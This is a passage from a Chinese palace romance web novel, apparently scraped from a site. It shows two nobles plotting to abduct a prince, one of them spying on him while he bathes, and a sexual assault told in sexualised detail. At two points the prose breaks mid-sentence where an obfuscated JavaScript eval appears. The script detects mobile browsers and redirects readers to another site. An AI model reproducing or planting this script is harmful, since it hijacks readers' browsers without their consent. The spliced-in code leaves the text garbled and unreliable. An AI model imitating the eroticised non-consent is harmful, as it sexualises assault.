“听说赵将军昨日才抵达京城,一路舟车劳顿,赵公子不该在府上好生歇息?” 赵珩将杯中酒一饮而尽,酒杯“咚”一声搁在桌上,开门见山: “方才在御花园那边,瞧见个人。” “哦?”楚云凌抬眼,“谁能让赵公子这般惦记?” “你那七弟,楚云棠。”赵珩身子前倾,目光灼灼地盯着楚云凌。 “真绝色,送我玩几天,边关新锻的精钢刀,我给你五百把。” 他说得直白又粗野,像在谈论一匹马或一把刀的价码,语气里没有丝毫尊重。 楚云凌眼中闪过一丝快意,面上却故作为难: “赵公子说笑了。云棠再怎么说也是皇子,金枝玉叶,岂能说送就送?这要是传出去……” “传出去又如何?”赵珩嗤笑,满脸不屑。 “一个宫女生的,也配叫金枝玉叶?我在边关,玩过的部落公主都不止一个,何况他?” 他顿了顿,眼神更加露骨: “更何况,我看他那身段,那模样,玩起来肯定带劲。你就说,给不给?” 楚云凌沉默片刻,阴恻恻地笑了: “给,自然要给。赵公子开口,本皇子岂能驳了面子?不过……” 他压低声音,“得等个好时机。” “什么时机?” “太后寿宴正日。” 楚云凌声音压得更低,“那日宫中忙乱,宾客如云,出点意外再正常不过。” “到时候,人你带走,想怎么玩就怎么玩,玩够了再送回来。” “届时,他失了清白,也不敢声张,一个残花败柳,看燕元明还要不要。” 赵珩眼中淫邪之光闪烁,舔了舔厚实的嘴唇:“好主意,那就寿宴正日。” 两人又密谋片刻,敲定细节,赵珩才起身告辞。 走出楚云凌的寝宫,赵珩心里那把火烧得更旺了。 楚云凌的话像一瓢热油,浇得他心痒难耐,浑身燥热。 他等不及了。 赵珩站在宫道上,目光望向皇宫西北角。 方才引路太监说,七皇子住在清莲苑,就在那边。 他是镇北将军独子,这次随父入京,皇上都对他赵家礼遇有加。 宫里这些侍卫太监,谁敢真拦他? 先去看看,若能提前尝尝鲜…… 念头一起,便再也压不下去。 申时末,天色渐暗,宫中各处开始掌灯。 清莲苑内,云棠刚用过晚膳。 白日里走了些路,身上出了层薄汗,黏腻不适。 他让太监阿福备了热水,想在浴房里简单擦洗一番。 浴房是偏殿隔出的一小间,虽简陋,但烧了炭盆,还算暖和。 木桶里热气蒸腾,水面飘着几片干梅花瓣。 是前几日燕元明让人送来的,说是安神。 云棠屏退了阿福,独自留在浴房内。 他解开棉袍系带,褪下外袍,露出里面素白的里衣。 炭盆的光晕在墙上跳跃,将他的身影拉得细长摇曳。 他背对着窗户,慢慢解开里衣。 衣物滑落,堆在脚边。 一具白皙如玉的身体暴露在温热的空气中。 背脊的线条流畅,如远山脊线,一对肩胛随着呼吸轻移,宛若薄雾中隐约舒展的羽翼。 腰身收束得纤细,恰似三月新柳迎风,柔韧而轻盈。 目光向下,轮廓逐渐丰润开来。 其形圆润饱满,犹如秋日低垂的稻穗,沉静中蕴藏着丰盈的生命力。 肌理细腻温润,晕着淡淡霞色,仿佛晨曦轻染的暖玉,流动着柔和的光泽。 线条流转自然,与上方的纤细相互映衬,形成温婉的起伏,最后收束成一道含蓄的弧度。 下方延伸出笔直修长的双腿,静静并立,匀称如雨后新生的修竹。 云棠以指尖试过水温,缓缓踏入沐桶。 温热水流漫过周身,他轻轻舒了口气,合上眼帘。 水汽氤氲,烛光摇曳。 他苍白的脸颊渐渐染上薄红,长睫沾了水汽,湿-漉-漉地贴在眼睑上。 窗外,一双眼睛正死死盯着这一幕。 赵珩蹲在窗下,透过窗纸的缝隙,看得血脉偾张,呼吸粗重。 他看见那纤细得惊人的腰肢,那光滑如缎的背脊。 还有那两团随着入水动作轻轻颤动,饱满得不可思议的软肉。 水波荡漾,那诱-人的弧度在涟漪中若隐若现,晃得他眼花缭乱。 真他娘……勾-人。 13. 第 13 章 赵珩口-干-舌-燥,喉结不住滚动。 边关何曾见过这等活色生香? 他呼吸越来越重,热气喷在冰冷的窗纸上,凝成一小片白雾。 桶中的人似乎洗得差不多了,扶着桶沿缓缓站起身。 水珠顺着身体流淌而下。 …… 赵珩的目光不自觉停驻,心神似被一缕无形的丝线轻轻牵引。 云棠踏出浴桶,赤足落在柔软的布巾上,取过另一块细布,拭去身上的水痕。 他背对着轩窗,微微俯身去擦拭小腿。 …… 赵珩死死盯着那处。 难以名状的渴望在胸腔翻涌。 …… 就在这时,云棠似乎要转身。 赵珩屏住呼吸。 这一转身,便毫无遮掩,落入了窗外那双贪-婪的眼睛里。 平坦的胸膛起伏柔和,宛若月光下的雪原。 那处,恰似春风中初醒的幼蕾,羞怯地蕴着未敢言说的生机。 腰腹紧致平坦,没有一丝赘肉。 而最让赵珩呼吸一滞的,是…… 并非男子应有的模样,而是女子该有的。 赵珩瞳孔骤缩,随即眼中爆发出狂喜的光芒。 他曾在边关听一些走南闯北的商队说起过。 世上有这等天生异禀之人,兼具阴阳,是万中无一的极品。 没想到,竟让他在皇宫里遇上了,还是这样一个绝色。 赵珩兴奋得浑身发-抖,几乎要压抑不住低吼出声。 这简直是上天赐给他的宝物! 独一无二的珍宝! 他粗糙的手指无意识地在窗棂上摩挲,想象着触摸的感觉。 那纤细的腰…… 还有那独一无二的秘密…… 光是想想,他就亢奋。 一定要得到他。 不惜任何代价。 赵珩眼中闪烁着势在必得的疯狂光芒。 他原本只想尝尝鲜,现在却改变了主意。 他要这个人,要把他彻底占有,要让他只属于自己。 就在赵珩沉浸在狂想中时,浴房外忽然传来脚步声和太监阿福的声音: “殿下?您洗好了吗?摄政王府派人送东西来了,是一批年节用的锦缎和玩意儿。” 赵珩动作一僵,眼底闪过懊恼。 他虽然色胆包天,但也知道轻重。 这里是皇宫,若此刻闹出动静,对他和父亲都没好处。 更何况……这等极品,仓促之间岂能尽兴? 他深深看了一眼浴房内那具诱-人的身体。 将那张脸,那身段,那独一无二的秘密牢牢刻在脑海里。 心急吃不了热豆腐。 赵珩舔了舔嘴唇,压下满腔欲-火,悄无声息地离开了窗下, 身形一闪,便翻过清莲苑低矮的墙头,消失在渐浓的暮色中。 浴房内,云棠正擦拭着头发,忽然听见窗外似乎有极轻微的响动。 他心头一跳,猛地回头。 窗外空空如也,只有枯枝在寒风中轻轻摇晃。 是风吗? 云棠皱了皱眉,心中掠过一丝莫名的不安。 他快步走到窗边,仔细看了看,什么也没有。 大概真是听错了。 他松了口气,迅速穿好里衣和中衣,套上外袍,系好衣带。 “阿福。”他扬声唤道。 门被推开一条缝,阿福探进头:“殿下?” “进来吧。”云棠理了理微湿的发梢,“王府送了什么来?” 两匹颜色素雅的锦缎,几盒精致的点心,还有一套崭新的文房四宝。 东西不多,但样样贴心。 云棠抚摸着那匹月白色的云锦,指尖传来细腻柔滑的触感,唇角不自觉弯起。 王爷总是这样,送的东西件件合他心意。 “王爷可还说了什么?”他轻声问。 那仆役躬身道:“王爷说,让殿下好生休养,缺什么只管开口,还说……” 他顿了顿,笑道,“说殿下若嫌宫里闷,等身子大好了,可以出宫走走。” 云棠心中一暖,点点头:“替我谢过王爷。” 仆役退下后,云棠让阿福将东西收好,自己则坐在暖阁窗边,望着窗外渐浓的夜色。 方才浴房里那点莫名的不安早已消散,取而代之的是淡淡的暖意。 王爷总是惦记着他。 云棠心里甜丝丝的,像含了一颗化不开的蜜糖。 他抬手轻触自己的唇,想起在燕元明怀中,那个温柔而深-入的吻,脸颊不禁微微发烫。 “殿下,”阿福又在门外轻声禀报,“王爷来了。” 云棠一怔,随即惊喜地起身:“快请。” 话音未落,门已被推开。 燕元明披着玄黑貂裘走进来,肩头落着细碎的雪沫,行色匆匆。 “王爷?”云棠迎上去,“您怎么这个时候来了?外面下雪了?” “嗯,刚下。”燕元明解下貂裘递给阿福,目光落在云棠脸上。 烛光下,那张小脸干净白皙,眉眼温润,看不出什么异样。 但他就是觉得……云棠今日似乎有些不同。 “今日可还好?”燕元明在榻边坐下,伸手探了探他的额头。 云棠乖顺地任他动作,脸颊微红:“挺好的,王爷送的东西,我都看到了,很喜欢。” “喜欢就好。”燕元明收回手,却并未移开目光,静静看着他。 云棠被看得有些不好意思,垂下眼帘:“王爷为何这样看我?” “看你气色如何。”燕元明语气平静。 “再过几日便是新年,宫里事务繁杂,你若觉得累,不必勉强自己去那些场合。” 云棠心中一暖,轻轻摇头:“不累的,而且,有王爷在,我不怕。” 燕元明眼底掠过一丝柔色。 他顿了顿,忽然道:“想不想出去看看?” 云棠愣住:“出去?现在?” “嗯。”燕元明看向窗外,“虽不是正日子,但街上已有花灯,比宫里热闹。” 云棠眼中亮起期待的光,但很快又黯淡下去:“可是宫门已经下钥了,而且这么晚……” “无妨。”燕元明起身,拿起方才脱下的貂裘,“我带你出去。” 他说得轻描淡写,对他而言,出宫是件再简单不过的事。 云棠看着他沉静的侧脸,心中那点犹豫瞬间消散。 只要王爷在,没什么好怕的。 燕元明亲自为云棠系好披风,又拿了一顶带有轻薄面纱的帷帽给他戴上。 素白的面纱垂落,遮住了大半张脸,只露出一双清澈的眼睛。 云棠不解。 “街上人多,遮一遮。”燕元明理了理他鬓边碎发,动作自然亲昵,“走吧。” 马车从宫城侧门悄然驶出,融入京城的夜色。 虽不是元宵正日,但街上已是一片灯火辉煌。 各色花灯早早挂起,将积雪的街道照得亮如白昼。 人流如织,叫卖声,欢笑声,喝彩声交织在一起,充满鲜活热闹的人间烟火气。 云棠戴着帷帽,面纱随着走动轻轻飘拂。 他紧紧跟在燕元明身边,起初还有些紧张,手不自觉地攥着燕元明的衣袖。 但很快,便被眼前的热闹景象吸引了。 那么多灯,那么多颜色,那么多人。 他很久很久没有见过这样的景象了。 冷宫十年,后来即便出了冷宫,他也极少有机会出宫,更别说在这样热闹的夜晚逛街。 燕元明牵着他的手,穿过熙攘的人群。 两人的手在宽大的袖袍下交握。 燕元明的手掌宽厚干燥,包裹着他的手,传递着令人心安的力量。 走到一处卖花灯的摊子前,云棠停下了脚步。 那摊子上挂满了各式各样的花灯,兔子灯,莲花灯,鲤鱼灯,走马灯…… 其中一盏小兔子灯做得格外精巧。 白绒绒的身子,红宝石般的眼睛,耳朵还会随着微风轻轻颤动,憨态可掬。 云棠多看了两眼。 摊主是位四十来岁的妇人,面容和善,见状立刻笑道: “公子,给您娘子买一盏吧!这兔子灯最是灵巧可爱,配小娘子正合适!” 云棠整个人僵住了。 娘子? 他脸“腾”地一下烧了起来,幸亏有面纱遮着,才没让人看见那红透的脸颊。 他慌乱地低下头,手足无措,连耳朵尖都红透了,攥着燕元明衣袖的手指不自觉收紧。 燕元明也微微一怔。 随即,眼底漫上深深的笑意,笑意从唇角漾开,染亮了整张脸。 他并未纠正妇人的称呼,爽快地付了钱,接过那盏兔子灯,递到云棠面前。 “娘子,”他压低声音,带着明显的笑意。 那声“娘子”唤得低沉又温柔,“可还喜欢?” 云棠的脸更红了,红得几乎要滴出血来。 他接过灯,手指紧紧捏着竹柄,羞得不敢抬头,喉咙里挤出细若蚊蚋的一声:“……嗯。” 那声音又软又羞,听得燕元明心头一荡,握着云棠的手不自觉收紧了些。 两人又逛了一会儿,云棠渐渐放松下来。 他一手提着晃晃悠悠的兔子灯,一手被燕元明牵着,走在熙熙攘攘的人群中。 暖黄的灯光透过薄薄的纸面,在他白皙的手指上投下柔和的光晕。 他偷偷侧头,看向身边的燕元明。 灯火阑珊处,那人侧脸线条分明,眉眼在光影中格外深邃温柔。 察觉到他的目光,燕元明也转过头来,对他微微一笑。 云棠心跳漏了一拍,慌忙移开视线,却感觉燕元明握着他的手又紧了些。 回去的马车上,云棠抱着那盏小小的兔子灯,爱不释手。 烛光透过薄薄的纸面,将温暖的光映在他脸上,手上。 他指尖轻轻抚摸兔子绒绒的耳朵,唇角不自觉弯起,眼中映着灯火,亮晶晶的。 燕元明靠在车壁上,静静看着他。 真好哄。 一盏灯,一次出游,便能让他露出这样单纯欢喜的笑容。 燕元明心中柔软,泛起更深的怜惜。 “喜欢这灯?”燕元明开口,声音低沉温和。 云棠抬头,面纱下的眼睛弯成月牙:“喜欢。” 他顿了顿,小声补充,“更喜欢……王爷带我出来。” 这话说得直白又依赖,燕元明眼神深了深。 他伸,轻轻拂开云棠颊边被面纱勾住的一缕碎发:“以后想出来,随时跟我说。” “可以吗?”云棠眼睛更亮了。 “可以。”燕元明指尖划过他细腻的脸颊,最后停在他耳畔,轻轻捏了捏那微红的耳垂。 “只要你想。” 云棠被他亲昵的动作弄得脸颊发烫,乖顺地蹭了蹭他的掌心。 这个依赖的小动作让燕元明眼神更柔,几乎要将人溺毙。 马车在清莲苑附近停下。 燕元明先下车,伸手扶云棠下来。 云棠抱着兔子灯,脚刚沾地,夜风吹来,卷起面纱一角,露出小巧的下巴和微红的唇。 他下意识往燕元明身边靠了靠。 “到了。”燕元明低声说,抬手为他理了理被风吹乱的面纱。 “回去早些休息,明日若要去请安,别走太久。” 云棠点点头,抱着灯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261348|198040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转身要走。 可走了两步,他又停住了。 他背对着燕元明,站在清冷的月光下,身影单薄。 怀里那盏兔子灯散发着暖黄的光,将他周身笼罩在一圈柔和的光晕里。 燕元明以为他还有话说,耐心等着。 云棠站了许久,久到燕元明正要开口询问时,他忽然转回身来。 面纱下,那张脸似乎红得厉害,连脖颈都染上了粉色。 “王爷……”他声音很轻,带着些许颤-抖。 “嗯?”燕元明应声,目光落在他身上。 云棠咬了咬下-唇,鼓足了勇气,抬眼看着燕元明,小声道: “你……你可不可以闭一下眼睛?” 燕元明挑眉,眼中掠过一丝讶异,随即化为更深的温柔。 他没有问为什么,依言闭上了眼。 云棠看着他闭眼的模样,心跳如擂鼓。 他深吸一口气,踮起脚尖。 隔着那层轻薄的面纱,将温软的嘴唇,轻轻印在燕元明的下巴上。 一触即分。 像羽毛拂过,带着滚烫的温度,和面纱微凉的质地。 云棠做完这一切,羞得无地自容,转身就跑。 怀里的兔子灯随着他慌乱的步伐一晃一晃。 暖黄的光在夜色中划出凌乱而明亮的轨迹,像一颗跌跌撞撞的星子。 燕元明缓缓睁开眼。 他抬手,指尖轻轻抚过方才被亲吻的地方。 那里似乎还残留着柔软的触感,和面纱滑过的微痒。 他望着云棠消失在清莲苑门内的纤细背影,那盏兔子灯的光亮在门缝中一闪而逝。 半晌,低低地笑出了声。 月光如水,将他挺拔的身影拉得很长。 他只望着那扇已然关闭的门,久久未动。 云棠跑回房间,关上门,背靠着门板,大口喘气。 脸上烫得厉害,心也跳得飞快,几乎要从喉咙里蹦出来。 他抬手摸了摸嘴唇,又想起方才。 其实根本不算吻,只是隔着面纱碰了一下下巴。 可他却觉得比任何一次亲密接触都更让人脸红心跳。 因为那是他主动的。 他主动亲近了王爷。 云棠将发烫的脸埋进掌心,羞得恨不得找个地缝钻进去。 可心底深处,又涌起一股甜丝丝的,隐秘的欢喜。 王爷没有拒绝,也没有生气,他……他好像还笑了? 低沉的笑声仿佛还在耳边回响。 云棠靠着门板慢慢滑坐在地上,怀里还抱着那盏兔子灯。 暖黄的光映着他通红的脸和湿润的眼。 他抱着膝盖,将脸埋在臂弯里,唇角控制不住地扬起。 真好。 有王爷在,真好。 他在地上坐了好一会儿,直到脸上的热度渐渐退去,才起身将兔子灯小心地放在床头。 暖黄的光晕染了一小片床帐,温馨又安宁。 云棠躺到床上,拉过锦被盖好,侧身看着那盏灯,眼中满是温柔的笑意。 闭上眼,很快沉入安稳的梦乡。 而此刻,摄政王府书房内,烛火通明。 燕元明坐在书案后,手中把-玩着一支狼毫笔,眼神沉静。 凌墨肃立在下首,低声禀报: “王爷,暗卫来报,今日赵珩离宫前,曾在清莲苑附近逗留约一盏茶时间。” “他屏退了引路太监,独自行动,暗卫不敢跟得太近。” “只知他翻墙进了清莲苑,约半柱香后离开。” 燕元明手中笔一顿。 “看清他做了什么?” “未曾。”凌墨低头。 “清莲苑内无暗卫常驻,怕惊扰殿下,只知赵珩离开时,神色似有异样,颇为兴奋。” 燕元明眼神骤然转冷。 他放下笔,指尖在光滑的紫檀木案面上轻轻敲击,发出规律的轻响。 书房内一片寂静。 良久,燕元明开口,声音平静,透着寒意: “盯紧赵珩,他若再敢接近清莲苑百步之内,直接动手。” “是!”凌墨领命,犹豫片刻,又道,“王爷,赵珩毕竟是镇北将军独子,若真动了他……” “那又如何?” 燕元明抬眼,目光锐利如刀,“我楚燕元明要护的人,谁敢动,就要付出代价。” 凌墨心头一凛,躬身道:“末将明白。” “去吧。”燕元明挥挥手,“盯紧他,还有楚云凌,他们之间,必有勾结。” 凌墨退下后,书房内重归寂静。 燕元明走到窗边,推开窗。 寒风裹着雪沫卷入,吹动他额前碎发。 他望着皇宫的方向,眼神深沉如夜。 不管赵珩有什么背景,镇北将军又如何? 敢把主意打到他的人身上,就要做好承受后果的准备。 燕元明缓缓握紧窗棂,指节泛白。 他会织一张密不透风的网,将那个人牢牢护在中-央。 任何试图靠近的威胁,他都会亲手扼杀在萌芽中。 雪越下越大,将整个京城笼罩在一片素白之中。 而驿馆内,赵珩正坐在暖炉边,回味着白日所见,眼中闪烁着兴奋而疯狂的光芒。 那纤细的腰,那饱满的臀,还有那独一无二的秘密……光是想想,他就浑身燥热。 “楚云棠……”他低声念着这个名字,“等着,你很快就是我的了。” 他仰头灌下一-大口烈酒,喉结滚动,眼中尽是志在必得的贪-婪。 寿宴正日,他一定要得手。 到那时,这个绝色的,独一无二的珍宝,就会彻底属于他。 夜还很长。 14. 第 14 章 澄心园的冬景,是刻意雕琢出来的雅致。 嶙峋的假山覆着薄雪,枯枝上系着红绸,冰封的湖面倒映着琉璃亭台的影子。 宴席设在临水的暖阁群中,丝竹声隔着水波传来,飘飘忽忽,像另一个世界的喧闹。 楚云棠站在回廊的阴影里,手指无意识绞着披风的系带。 月白色的云纹锦袍是燕元明前几日新送来的,料子极好,贴身裁制,衬得他身姿愈发清濯挺拔。 银狐皮里的素白披风裹在身上,绒毛轻软。 他本不想来的,推了病。 可三皇子楚云凌身边那个面白无须的太监来了,脸上堆着恭敬的笑,绵里藏针道: “七殿下安好,三殿下让奴才来问问,殿下今日身子可爽利些了?澄心园的小宴,是为慰劳戍边将士,彰显天家恩宠,陛下有口谕,众皇子皆需出席,以示天家对将士的体恤与重视。” 太监顿了顿,笑意更深,声音压得很低: “三殿下特意嘱咐奴才提醒殿下,您素来是最懂事的,今日若独独缺了您,怕是会惹陛下不悦,陛下最重君臣一心,若让赵将军觉得天家怠慢边将,那罪名,奴才不敢妄言,殿下您说,是不是这个理儿?” 云棠站在院子里,听着这番话,指尖一点点凉透。 皇命,大局,体恤将士,天家恩宠…… 每一个词都重若千钧,压得他喘不过气。 拒绝,就是不顾大局,就是忤逆圣意,就是不体恤为国戍边的将士。 他还能说什么? “我知道了。”他听见自己干涩的声音,“烦请回禀三皇兄,我稍后便到。” 太监满意地躬身退下。 云棠在院子里站了很久。 直到青禾拿着披风出来,轻声唤他:“殿下,外头冷……” 他才回过神,接过披风,慢慢系上。 银狐的绒毛贴在颈间,很暖。 可他却觉得那股寒意从骨头缝里渗出来,怎么都驱不散。 --- 澄心园比想象中更热闹。 武将们大多聚在演武场那边,呼喝声,兵器碰撞声不时传来。 文臣宗室则多在暖阁内饮酒谈笑。 云棠刻意避开人多处,选了条偏僻的回廊,想悄悄走到安排给皇子们的席位。 可他刚转过廊角,便被一阵凌厉的破风声钉住了脚步。 演武场就在前方不远。 场中,一个高大魁梧的身影正在舞刀。 那人未着甲胄,只一身玄色劲装,布料紧绷在贲张的肌肉上。 他手中一柄厚背阔刃大刀,挥动间带起呼啸风声。 每一式都刚猛暴烈,毫无花巧,全是战场搏杀的路数。 是赵珩。 云棠呼吸一滞,下意识想退开。 赵珩一个凌厉的回身斩。 刀光如匹练,划破沉闷的空气,刀刃反射着惨白的天光。 收势的刹那,赵珩的目光扫向了回廊这边。 四目相对。 时间仿佛凝滞了一瞬。 云棠看见赵珩眼中骤然迸发出毫不掩饰的灼热。 那眼神像烧红的铁,烙在他身上。 从眉眼到唇-瓣,从脖颈到被披风包裹的腰身…… 一寸寸逡巡,像猛兽在掂量猎物的肥美。 赵珩志在必得地笑了,充满侵略意味。 他收刀归鞘,金属摩-擦发出刺耳的“锵”声,大步流星朝这边走来。 云棠想逃,可无处可逃。 他只能僵硬地站在原地,看着那道阴影越来越近,完全笼罩住他。 “这位便是七殿下?” 赵珩在离他三步处停下,抱了抱拳,目光黏在他脸上,毫不避讳。 “末将赵珩。”他声音粗犷,带着边关风沙磨砺出的沙哑。 “早闻殿下风姿,今日一见……” 他顿了顿,上前半步,声音压低,带着毫不掩饰的狎昵: “果真名不虚传,比边关传说里的雪山灵狐,还要勾-人。” 温热的气息喷在耳廓,带着酒气和汗味。 云棠浑身一颤,指尖深深掐进掌心。 “赵将军莫要拿我寻开心了。”他垂眸,声音很轻。 周围隐约响起暧昧的窃笑声。 几个宗室子弟在不远处张望,交换着意味不明的眼神。 云棠脸上一阵烧烫,耻辱感像潮水般漫上来。 他想退开,可身后就是廊柱,无处可退。 在这时,一道带笑的声音插了进来: “赵公子豪爽,我七弟面皮薄,可经不起这般玩笑。” 楚云凌施施然走来,一身绛紫锦袍,外罩玄狐大氅,贵气逼人。 脸上挂着恰到好处的笑意。 目光在云棠和赵珩之间转了转,最后落在云棠苍白的脸上。 “不过……” 他话锋一转,伸手搭上云棠单薄的肩,指尖若有似无地按了按。 “赵公子远道而来,既有心以武会友,咱们天家也不能失了礼数。” 他侧头看向云棠,笑容温和,可眼底却是一片冰冷的算计: “七弟,澄心园东侧的暖阁景致最佳,又临着温泉,冬日里最是暖和,宜煮茶论道,你便代皇兄们,陪赵公子去小坐片刻,全了这份文武交融的雅兴。” 他顿了顿,声音压低: “这也是为陛下分忧,体恤边将的辛劳,七弟素来懂事,定不会推辞的,对吧?” 云棠肩膀在他掌下微微发-抖。 又是这套说辞。 可他若拒绝,便是不懂事,不识大体,藐视边将。 他抬起眼,看向楚云凌。 那张脸上笑容温和,可眼底的冰冷,像淬了毒的针。 “……是。”云棠听见自己干涩的声音,“臣弟遵命。” 楚云凌满意地笑了,拍了拍他的肩:“去吧,赵公子,请——” 赵珩咧嘴一笑,目光在云棠身上又滚了一圈,侧身做了个“请”的手势: “七殿下,请。” 东侧暖阁临着温泉。 还未进门,便有一股温热湿润的水汽扑面而来,夹杂着淡淡的硫磺味。 阁内铺设着厚厚的绒毯,四角燃着银丝炭盆,暖意融融。 临窗是一方矮榻,榻上设着茶案。 窗外能看到假山流水,景致确然清雅。 可云棠只觉得窒息。 赵珩跟在他身后进了门,反手便“咔哒”一声闩上了门。 “外头风大,闩上门暖和些。”他解释,声音里带着笑意。 云棠指尖一颤,没应声。 他走到茶榻边,跪坐下来,默不作声地摆弄茶具。 煮水,温杯,取茶…… 一套动作做得缓慢而专注,仿佛这样便能隔绝身后那道灼人的视线。 可那道视线如影随形。 赵珩没按常理坐在他对面,而是直接紧挨着他身侧坐下。 榻本就不宽,这一坐,两人腿侧便紧紧贴在了一起。 隔着层层衣料,云棠感觉到对方腿上传来的,滚烫的体温和充满力量感的肌肉轮廓。 那是一种极具侵略性的存在感,像一块烧红的铁,烙在他身侧。 他执壶的手微微发-抖。 “殿下手法生疏啊。” 赵珩忽然开口,伸出了手。 那只手极大,骨节分明,掌心布满粗糙的厚茧。 完全包裹住了云棠执壶的纤白手背。 “末将斗胆,教您边关的煮茶法。”赵珩声音压低,呼吸喷在云棠耳后。 “边关苦寒,煮茶要浓,要烫,才驱得了寒气。” 他看似在引导云棠的动作,手指却不安分地摩挲起来。 粗粝的茧子刮擦着细腻的手背肌肤,一遍又一遍。 得寸进尺,探入袖口,指腹反复刮蹭小臂内-侧那片极为细嫩敏感的肌肤。 “殿下这肌肤……”赵珩喉结滚动,声音沙哑下去。 “温润细腻,让人爱不释手。” 云棠浑身僵住。 恶心感翻涌上来,他想抽手,可那只大手像铁钳,攥得他生疼。 “放开……”他声音发颤。 赵珩低笑,非但没松,反而握得更紧。 手指变本加厉地揉-捏他的腕骨,“殿下别急,茶还没煮好——” 话音未落,云棠猛地用力一挣。 茶壶倾倒,滚烫的茶水大半泼洒出来,浇在了他自己胸-前。 “嘶——” 灼痛传来,云棠倒吸一口冷气。 月白色的锦袍湿透,丝绸面料紧紧贴在皮肤上。 赵珩动作一顿,目光落在云棠胸-前。 湿透的衣料下,一切都无所遁形。 平坦胸膛的细微起伏,两点浅樱色的轮廓,因冷热刺-激而微微挺立。 湿衣紧紧裹着腰身,勾勒出纤细得不盈一握的线条。 他眼神骤然暗沉如墨,呼吸粗重起来。 “殿下烫着了?是末将不小心。” 他嘴上说着,手中拿起一旁的布巾,直接重重按上去。 滚烫的掌心整个覆上去。 指尖按压,拨弄,恶意碾磨。 “嗯……”云棠惊喘一声,身体因羞-耻和莫名的刺-激剧烈颤-抖起来。 眼眶瞬间通红,蓄满了泪水,要落不落。 这种反应取悦了赵珩。 他低笑,另一只手已牢牢圈住云棠的腰,将人狠狠往自己怀里一带。 “殿下抖得厉害,”他嘴唇几乎贴上云棠滚烫的耳廓,气息灼热。 “是冷,还是……嗯?” 掌心下的腰肢纤细柔韧,不盈一握。 赵珩着迷地摩挲着,感受着那截腰身在掌中轻颤。 云棠想挣扎,可浑身力气像被抽空了。 恐惧和羞-耻像两座山,压得他动弹不得。 他只能咬着唇,眼泪无声滑落。 “放开我……”声音带着哭腔,破碎不堪。 赵珩嗤笑,那只在他胸口作乱的手缓缓下移。 顺着腰侧滑到后背,指尖沿着脊柱凹陷的沟-壑,一节一节往下探。 最后停在尾椎处,暧昧地画圈。 “那日匆匆一面,末将梦里都是殿下这身子……” 他俯身,嘴唇贴上云棠滚烫的耳垂,轻轻含吮,“果然,沾了水更妙,这腰,这臀……” 云棠浑身剧震。 恐惧像冰水浇下,淹没了他。 他不知哪来的力气,猛地挣扎起来。 手推搡,脚蹬踢,像落入陷阱的幼兽,做着徒劳的反抗。 “赵珩!你放肆!这是皇宫!”他声音染上哭腔。 赵珩单手轻易制住云棠两只纤细的手腕,反剪在身后。 随即利用体重和力量优势,将人死死压倒在铺着厚毯的地上。 双腿强势挤入云棠腿间,形成完全禁锢的姿态。 “末将在边关,想要什么,都是直接抢。” 他空着的手粗暴地扯开云棠的腰封。 衣襟散开,大片如玉的胸膛,精致的锁骨,平坦的小腹,露在温暖的空气中。 赵珩目光贪-婪地逡巡,像在欣赏即将到手的珍宝。 “陛下夸的,就是我这股野性。” 他低头,带着酒气和欲-望的灼热气息,朝着云棠纤细的脖颈吻去—— “砰!” 门被猛地推开。 楚云凌站在门口,脸上是恰到好处的“惊怒”: “赵公子!你这是作甚!” 赵珩动作顿住。 手指仍在云棠裸-露的腰侧流连,甚至挑衅般用力掐了一把,留下刺目的红痕。 然后才抬头,佯装出醉态,摇摇晃晃地撑起身: “三殿下?末将酒意上头,一时糊涂,唐突了殿下……” 他边说边退开,目光还黏在云棠身上。 衣襟散乱,胸膛半露,脖颈和锁骨上留着暧昧的红痕。眼眶通红,泪痕未干,整个人蜷缩在地上,像被风雨摧折过的花枝。 楚楚可怜,又诱-人至极。 楚云凌快步上前,看似严厉地拉开赵珩,暗中却交换了一个心照不宣的眼神。 随即转身,用身体挡住地上狼狈的云棠。 “赵公子!你太让本皇子失望了!”他语气痛心疾首。 “七弟何等身份,岂容你如此亵渎!边关军功,岂是你放肆的依仗!” 说着,他解下自己的玄狐披风,弯腰盖在云棠身上。 动作看似轻柔,可手指却“不经意”地划过云棠裸-露的肌肤。 甚至隔着湿衣,按压刚才被赵珩揉弄过的地方。 云棠浑身一颤,想躲,可楚云凌暗中用力,握紧了他的手腕。 指尖在他脉搏处暧昧地摩挲。 “七弟受惊了。”楚云凌叹息,声音充满“怜惜”。 “赵珩一介武夫,粗野无状,皇兄定会禀明父皇,严加惩处。” 他边说,边“体贴”地帮云棠拢紧披风,整理凌乱衣襟。 每一次触碰,都刻意停留和按压。 云棠咬紧下-唇,唇-瓣被咬得泛白。 他想推开这只手,想撕掉这件披风。 可挣不开。 “别动。”楚云凌凑近,在他耳边低声耳语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261349|198040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你这副样子,衣冠不整,泪痕满面,若被旁人瞧见,名声还要不要?皇兄是在帮你。” 云棠闭上眼,浑身僵硬如石。 任由那只冰冷的手在他身上“整理”,任由那件带着楚云凌气息的披风裹住自己。 恶心,恐惧,耻辱…… 种种情绪翻涌,几乎要将他撕裂。 楚云凌这才直起身,转向赵珩,语气转冷: “赵公子,今日之事,本皇子念你初犯且醉酒,暂且压下,若再有下次,边关军功也保不住你!请吧!” 赵珩拱手,目光仍恋恋不舍地掠过云棠被披风包裹却依旧诱-人的轮廓。 与楚云凌目光交汇,一切尽在不言中。 